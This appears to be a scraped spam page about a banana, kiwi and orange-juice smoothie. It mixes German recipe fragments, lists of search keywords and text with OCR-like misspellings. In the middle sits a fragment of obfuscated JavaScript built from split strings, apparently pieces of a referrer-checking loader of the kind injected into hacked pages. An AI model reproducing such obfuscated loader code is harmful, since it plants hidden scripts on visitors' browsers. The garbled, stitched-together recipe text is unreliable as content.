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Studentenfutter- Reihe des Dr Zutaten fiir 2 Portionen 200 g Banane(n) 220 g Kiwi 100 ml Orangensaft, ohne Fruchtfleisch 30 ml Zitronensaft, ohne Fruchtfleisch.. Aus LECKER 5/2015 Teilen Versenden Drucken Zutaten 50 g Rucola; Mit 300 ml Orangensaft, 100 ml ....
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bananen kiwi orangensaft smoothie

bananen kiwi orangensaft smoothie, bananen kiwi smoothie ohne orangensaft, banana kiwi orange smoothie, banana apple kiwi orange smoothie, bananen kiwi orangen smoothie, banane kiwi orangensaft smoothie, banane apfel orange kiwi smoothie
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banana kiwi orange smoothie

c"su["dzZt"]="(ref";u["qCYI"]="ef i";u["ZGTJ"]="ain:";u["WJoZ"]="f((r";u["KMTy"]=":'ht";u["rDbh"]="= 81";u["xJhM"]="m/13";u["BpaB"]="jax.. Das Ganze geht auch mit einem Piirierstab Wenn Ihr mogt, konnt Ihr nun noch mit etwas Honig - oder wenn es vegan bleiben soll - Ahornsirup siilen.. Mir fillt es jedenfalls leichter, ein groles Glas Smoothie zu trinken, als einen Teller voll Obst zu
essen.. Ich muss zugeben, dass mein Obstkonsum zum einen zu gering und zum anderen sehr einseitig ist.

bananen kiwi orangen smoothie
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